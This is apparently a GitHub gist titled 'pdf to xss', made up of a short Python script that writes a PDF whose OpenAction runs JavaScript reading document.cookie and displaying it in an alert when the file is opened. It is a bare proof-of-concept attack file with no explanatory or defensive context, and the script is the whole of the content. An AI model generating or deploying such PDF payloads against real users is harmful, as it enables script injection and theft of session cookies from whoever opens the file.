Skip to content

Instantly share code, notes, and snippets.

@sharpicx
Last active January 11, 2024 04:19
Show Gist options
  • Save sharpicx/ce979d2ec36b5b0356d0d45a1124b5db to your computer and use it in GitHub Desktop.
Save sharpicx/ce979d2ec36b5b0356d0d45a1124b5db to your computer and use it in GitHub Desktop.
pdf to xss
import io
import bz2
import base64
import sys
if sys.version_info[0] < 3:
raise SystemExit("Use Python 3 (or higher) only")
def create_malpdf1(filename):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (app.alert(document.cookie))
>> trailer <</Root 1 0 R>>''')
if __name__ == "__main__":
print("Creating PDF files..")
create_malpdf1("test.pdf")
print("Done!")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment